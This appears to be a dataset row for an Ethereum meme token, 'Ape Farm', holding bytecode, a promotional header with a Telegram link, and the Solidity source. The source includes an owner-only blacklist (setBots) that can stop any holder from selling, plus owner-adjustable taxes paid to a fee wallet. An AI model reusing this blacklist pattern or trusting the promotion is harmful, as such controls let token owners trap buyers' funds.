156111b457600080fd5b506001600160a01b03813581169160208101359091169060400135612d74565b6103ea600480360360808110156111ea57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612dd4565b826001600160a01b0316633d285a6f83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b505af1158015611284573d6000803e3d6000fd5b50505050505050565b826001600160a01b03166364dbfd816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112c857600080fd5b505af11580156112dc573d6000803e3d6000fd5b50505050826001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b816001600160a01b031663960e2101826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b505af115801561139a573d6000803e3d6000fd5b505050505050565b604080516319fb4a8f60e31b81526001600160a01b038581166004830152602482018590526044820184905291519186169163cfda54789160648082019260009290919082900301818387803b1580156113fb57600080fd5b505af115801561140f573d6000803e3d6000fd5b5050505050505050565b816001600160a01b0316631d70e433826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b031663bee9cd81826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b03166313af4035826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b826001600160a01b0316636611ac3583836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b816001600160a01b03166338d65d11826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b806001600160a01b031663354af9196040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115de57600080fd5b505af11580156115f2573d6000803e3d6000fd5b5050505050565b60405163c47f002760e01b81526020600482018181528351602484015283516001600160a01b0386169363c47f00279386939283926044019185019080838360005b8381101561165357818101518382015260200161163b565b50505050905090810190601f1680156116805780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b15801561138657600080fd5b816001600160a01b031663c315fc6a826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b826001600160a01b0316633cdaf64b83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b816001600160a01b0316635e412858826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b836001600160a01b031663d4b9311d8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113fb57600080fd5b856001600160a01b031663fe4f5890856040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b15801561184857600080fd5b505af115801561185c573d6000803e3d6000fd5b50505050856001600160a01b031663fe4f5890846040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b1580156118c657600080fd5b505af11580156118da573d6000803e3d6000fd5b50505050846001600160a01b0316633d285a6f87846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561193e57600080fd5b505af1158015611952573d6000803e3d6000fd5b50505050846001600160a01b03166343e9c6b087836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156119b657600080fd5b505af11580156119ca573d6000803e3d6000fd5b50505050505050505050565b816001600160a01b031663afd8b1d1826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b826001600160a01b0316639b06c41883836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b816001600160a01b0316633fcdfe26826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b03166394f3f81d826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b6040805163289d1edd60e11b815260048101859052602481018490526001600160a01b03838116604483015291519186169163513a3dba9160648082019260009290919082900301818387803b1580156113fb57600080fd5b826001600160a01b0316633cdaf64b83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611bd357600080fd5b505af1158015611be7573d6000803e3d6000fd5b50505050826001600160a01b0316631d70e433846001600160a01b031663affed0e06040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3357600080fd5b505afa158015611c47573d6000803e3d6000fd5b505050506040513d6020811015611c5d57600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b15801561127057600080fd5b826001600160a01b031663610a714a83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b604080516324341e0160e01b81526004810186905260248101859052604481018490526001600160a01b0383811660648301529151918716916324341e019160848082019260009290919082900301818387803b158015611d4b57600080fd5b505af1158015611d5f573d6000803e3d6000fd5b505050505050505050565b816001600160a01b031663e177246e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b856001600160a01b031663fe4f589085846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611dfe57600080fd5b505af1158015611e12573d6000803e3d6000fd5b50505050846001600160a01b031663fe4f589084836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156119b657600080fd5b846001600160a01b031663e372ee4485856040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611eb257600080fd5b505af1158015611ec6573d6000803e3d6000fd5b50505050846001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611d4b57600080fd5b856001600160a01b031663610a714a85846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611f6657600080fd5b505af1158015611f7a573d6000803e3d6000fd5b50505050846001600160a01b031663610a714a84836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156119b657600080fd5b836001600160a01b031663555ec74f8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113fb57600080fd5b6040805163c15ded6760e01b81526001600160a01b03858116600483015284811660248301526044820184905291519186169163c15ded679160648082019260009290919082900301818387803b1580156113fb57600080fd5b826001600160a01b03166366428efd83836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561127057600080fd5b836001600160a01b0316637edf9f4f8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113fb57600080fd5b826001600160a01b0316636614f01083836040518363ffffffff1660e01b815260040180838152602001826001600160a01b03166001600160a01b0316815260200192505050600060405180830381600087803b15801561127057600080fd5b816001600160a01b0316634faeff1d826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b876001600160a01b031663d4b9311d8786856040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561224057600080fd5b505af1158015612254573d6000803e3d6000fd5b50505050866001600160a01b031663d4b9311d8685846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156122ae57600080fd5b505af11580156122c2573d6000803e3d6000fd5b505050505050505050505050565b826001600160a01b03166343e9c6b083836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b806001600160a01b031663894ba8336040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115de57600080fd5b816001600160a01b031663d544e010826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b031663ef381cc5826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b0316633c6b16ab826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b03166335b28153826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b60005b825181101561255d57836001600160a01b031663310ec4a78483815181106124ce57fe5b60200260200101518484815181106124e257fe5b60200260200101516040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561253957600080fd5b505af115801561254d573d6000803e3d6000fd5b5050600190920191506124aa9050565b50505050565b816001600160a01b03166326defa73826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b604080516306614f0160e41b81526b3834b22b30b634b230ba37b960a11b60048201526001600160a01b038381166024830152915191851691636614f0109160448082019260009290919082900301818387803b15801561261b57600080fd5b505af115801561262f573d6000803e3d6000fd5b50505050816001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561266e57600080fd5b505af1158015612682573d6000803e3d6000fd5b505060408051630fe4f58960e41b81526d726564656d7074696f6e5261746560901b60048201526b033b2e3c9fd0803ce8000000602482015290516001600160a01b038616935063fe4f58909250604480830192600092919082900301818387803b15801561127057600080fd5b826001600160a01b03166340c10f1983836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b816001600160a01b03166395ffa802826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b03166332c6a793826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b826001600160a01b0316637a9e5e4b836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561284657600080fd5b505af115801561285a573d6000803e3d6000fd5b50505050826001600160a01b031663e177246e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561127057600080fd5b826001600160a01b031663310ec4a783836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b806001600160a01b031663be9a65556040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156115de57600080fd5b604051635c26412360e11b81526020600482018181528351602484015283516001600160a01b0386169363b84c8246938693928392604401918501908083836000831561165357818101518382015260200161163b565b816001600160a01b0316637a9e5e4b826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b15801561138657600080fd5b816001600160a01b0316638eacff5d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561138657600080fd5b826001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112c857600080fd5b826001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b836001600160a01b0316636c50dbba846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015612b0357600080fd5b505af1158015612b17573d6000803e3d6000fd5b50505050836001600160a01b031663d4b9311d8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b1580156113fb57600080fd5b826001600160a01b0316639dc29fac83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b836001600160a01b03166394f3f81d846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b158015612c2957600080fd5b505af1158015612c3d573d6000803e3d6000fd5b50505050836001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156113fb57600080fd5b826001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015612cf657600080fd5b505af1158015612d0a573d6000803e3d6000fd5b50505050826001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b15801561127057600080fd5b826001600160a01b0316631f1e9f2683836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561127057600080fd5b604080516319fb4a8f60e31b81526001600160a01b038581166004830152602482018590526044820184905291519186169163cfda54789160648082019260009290919082900301818387803b158015612e2d57600080fd5b505af1158015612e41573d6000803e3d6000fd5b505050506000612eb6856001600160a01b0316631853a9a66040518163ffffffff1660e01b815260040160206040518083038186803b158015612e8357600080fd5b505afa158015612e97573d6000803e3d6000fd5b505050506040513d6020811015612ead57600080fd5b50516001612efe565b9050846001600160a01b0316633c6b16ab826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611d4b57600080fd5b80820382811115612f405760405162461bcd60e51b8152600401808060200182810382526022815260200180612f476022913960400191505060405180910390fd5b9291505056fe476f76416374696f6e732f7375622d75696e742d75696e742d756e646572666c6f77a2646970667358221220a2bc893a5e14d0a155a369756ffa679f04b536f62ba35122235f8f7c8e1e3c5664736f6c63430006070033
|
{"success": true, "error": null, "results": {}}
| 3,356 |
0x93a02f4e6fe3597e822478c1a4f54148e294d508
|
/*
The $Ape Farm is Reborn
A New Ape farm!
The Strongest Ape
Initial Cap - 15k at Launch
Tokenomics -
Supply 1,000,000,000
Max transaction 1%
100% of supply addded into liquidity at Launch
Tax - 10% for buy and sell
SLippage: 10% +
Tg:
https://t.me/apefarmportal
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract apefarmeth is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Ape Farm";
string private constant _symbol = "APE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xFfE23F746bC4c84c06F3f44036d5b8097e9b77D5);
_buyTax = 10;
_sellTax = 10;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610343578063c3c8cd8014610363578063c9567bf914610378578063dbe8272c1461038d578063dc1052e2146103ad578063dd62ed3e146103cd57600080fd5b8063715018a6146102a55780638da5cb5b146102ba57806395d89b41146102e25780639e78fb4f1461030e578063a9059cbb1461032357600080fd5b806323b872dd116100f257806323b872dd14610214578063273123b714610234578063313ce567146102545780636fc3eaec1461027057806370a082311461028557600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019f57806318160ddd146101cf5780631bbae6e0146101f457600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611870565b610413565b005b34801561016857600080fd5b50604080518082019091526008815267417065204661726d60c01b60208201525b60405161019691906118ed565b60405180910390f35b3480156101ab57600080fd5b506101bf6101ba36600461177e565b610464565b6040519015158152602001610196565b3480156101db57600080fd5b50670de0b6b3a76400005b604051908152602001610196565b34801561020057600080fd5b5061015a61020f3660046118a8565b61047b565b34801561022057600080fd5b506101bf61022f36600461173e565b6104bd565b34801561024057600080fd5b5061015a61024f3660046116ce565b610526565b34801561026057600080fd5b5060405160098152602001610196565b34801561027c57600080fd5b5061015a610571565b34801561029157600080fd5b506101e66102a03660046116ce565b6105a5565b3480156102b157600080fd5b5061015a6105c7565b3480156102c657600080fd5b506000546040516001600160a01b039091168152602001610196565b3480156102ee57600080fd5b5060408051808201909152600381526241504560e81b6020820152610189565b34801561031a57600080fd5b5061015a61063b565b34801561032f57600080fd5b506101bf61033e36600461177e565b61087a565b34801561034f57600080fd5b5061015a61035e3660046117a9565b610887565b34801561036f57600080fd5b5061015a61092b565b34801561038457600080fd5b5061015a61096b565b34801561039957600080fd5b5061015a6103a83660046118a8565b610b31565b3480156103b957600080fd5b5061015a6103c83660046118a8565b610b69565b3480156103d957600080fd5b506101e66103e8366004611706565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104465760405162461bcd60e51b815260040161043d90611940565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610471338484610ba1565b5060015b92915050565b6000546001600160a01b031633146104a55760405162461bcd60e51b815260040161043d90611940565b662386f26fc100008111156104ba5760108190555b50565b60006104ca848484610cc5565b61051c843361051785604051806060016040528060288152602001611abe602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbc565b610ba1565b5060019392505050565b6000546001600160a01b031633146105505760405162461bcd60e51b815260040161043d90611940565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461059b5760405162461bcd60e51b815260040161043d90611940565b476104ba81610ff6565b6001600160a01b03811660009081526002602052604081205461047590611030565b6000546001600160a01b031633146105f15760405162461bcd60e51b815260040161043d90611940565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161043d90611940565b600f54600160a01b900460ff16156106bf5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561071f57600080fd5b505afa158015610733573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075791906116ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d791906116ea565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081f57600080fd5b505af1158015610833573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085791906116ea565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610471338484610cc5565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161043d90611940565b60005b8151811015610927576001600660008484815181106108e357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091f81611a53565b9150506108b4565b5050565b6000546001600160a01b031633146109555760405162461bcd60e51b815260040161043d90611940565b6000610960306105a5565b90506104ba816110b4565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161043d90611940565b600e546109b59030906001600160a01b0316670de0b6b3a7640000610ba1565b600e546001600160a01b031663f305d71947306109d1816105a5565b6000806109e66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4957600080fd5b505af1158015610a5d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8291906118c0565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af957600080fd5b505af1158015610b0d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ba919061188c565b6000546001600160a01b03163314610b5b5760405162461bcd60e51b815260040161043d90611940565b600f8110156104ba57600b55565b6000546001600160a01b03163314610b935760405162461bcd60e51b815260040161043d90611940565b600f8110156104ba57600c55565b6001600160a01b038316610c035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043d565b6001600160a01b038216610c645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482